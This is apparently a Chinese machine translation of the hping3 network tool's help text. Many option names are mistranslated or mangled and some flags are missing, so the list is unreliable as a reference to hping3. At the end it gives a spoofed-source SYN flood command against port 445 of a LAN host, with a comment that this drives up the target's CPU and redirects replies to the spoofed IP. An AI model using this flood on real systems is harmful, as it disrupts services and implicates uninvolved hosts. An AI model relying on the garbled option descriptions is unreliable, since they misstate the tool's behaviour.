hping3 -h（到hping3 .txt）
hping3幫助
使用方法:hping3主機[選項]
-h，幫幫忙
-v——版本顯示版本
-c——計數包計數
-i——間隔等待(uX等待X微秒，例如- u1000)
-快速別名-i u10000(每秒10個數據包)
-更快的別名-i u1000(每秒100個包)
洪水儘可能快地發送數據包。不顯示回覆。
-n——數值數值輸出
q -安靜安靜
-I——接口接口名(否則默認路由接口)
-V——verbose verbose模式
-D——調試調試信息
綁定ctrl+z到ttl(默認爲dst端口)
解綁定ctrl+z
每收到一個匹配的數據包，嗶嗶嗶
模式
默認模式TCP
-0——rawip原始IP模式
icmp模式
-2——udp udp模式
-8——掃描掃描模式。
示例:hping——掃描1-30,70-90 -S www.target.host
-9 -聽，聽模式
知識產權
——假消息假消息源地址
——rand-dest隨機destionation地址模式。看到的人。
——隨機源地址模式。看到的人。
-t——ttl ttl(默認64)
-N——id id(默認隨機)
-W——winid使用win* id字節排序
-r——rel relativize id字段(用於估計主機流量)
-f -frag將數據包分成更多的frag。(可通過弱acl)
-x——morefrag設置更多fragment標誌
-y——don’t frag set don’t fragment flag
-g——fragoff設置片段偏移量
-m——mtu集合虛擬mtu，表示——frag if包大小爲> mtu
-o——tos服務類型(默認0x00)， try——tos help
rroute包含RECORD_ROUTE選項並顯示路由緩衝區
——lsrr松源路由和記錄路由
——ssrr嚴格的源路由和記錄路由
-H——ipproto設置IP協議字段，僅在原始IP模式下
ICMP
icmp類型(默認的echo請求)
-K——icmpcode icmpcode(默認0)
——force-icmp發送所有icmp類型(默認只發送受支持的類型)
——ICMP -gw設置ICMP重定向網關地址(默認0.0.0.0)
——icmp-ts別名——icmp——icmptype 13 (icmp時間戳)
icmp-addr別名——icmp——icmptype 17 (icmp地址子網掩碼)
——icmp-help顯示對其他icmp選項的幫助
UDP / TCP
-s——baseport基源端口(默認隨機)
-p——destport [+][+] destination port(默認爲0)ctrl+z inc/dec
-k——保持源端口不變
-w——win winsize(默認64)
-O——tcpoff設置僞tcp數據偏移量(而不是tcphdrlen / 4)
-Q——seqnum只顯示tcp序列號
-b——badcksum(嘗試)發送帶有錯誤IP校驗和的數據包
許多系統會修正發送數據包的IP校驗和
因此您將得到錯誤的UDP/TCP校驗和。
-M——setseq設置TCP序列號
設置TCP ack
-F -fin設置fin標誌
設置syn標誌
設置rst標誌
-P——push set push flag
設置ack標誌
設置urg標誌
-X——xmas設置X個未使用的標誌(0x40)
-Y——ymas設置Y未使用的標誌(0x80)
——tcpexitcode使用last tcp->th_flags作爲退出代碼
——TCP - MSS使用給定的值啓用TCP MSS選項
——TCP時間戳允許TCP時間戳選項猜測HZ/正常運行時間
常見的
-d——數據數據大小(默認爲0)
-E——文件中的文件數據
-e——簽名
-j——以十六進制轉儲數據包
-J——打印轉儲可打印字符
-B——安全啓用“安全”協議
-u -end告訴你文件何時到達EOF，並防止倒帶
traceroute模式(暗指——bind和——ttl 1)
-tr-stop退出時，收到第一個非ICMP在traceroute模式
—tr-keep-ttl保持源TTL固定，僅用於監視一個跳
-tr-no- RTT不要在traceroute模式下計算/顯示RTT信息
ARS包描述(新，不穩定)
——發送用APD描述的數據包(見文檔/APD.txt)
使用命令
hping3 -q -n -a 2.2.2.2 -S -s 53 --keep -p 445 --flood 192.168.1.117
（可以是虛擬的2.2.2.2 也可以是內網存在的ip 如果是虛192.168.1.117CPU會上升 如果不是虛擬192.168.1.117就會返回給設置的那個真實ip）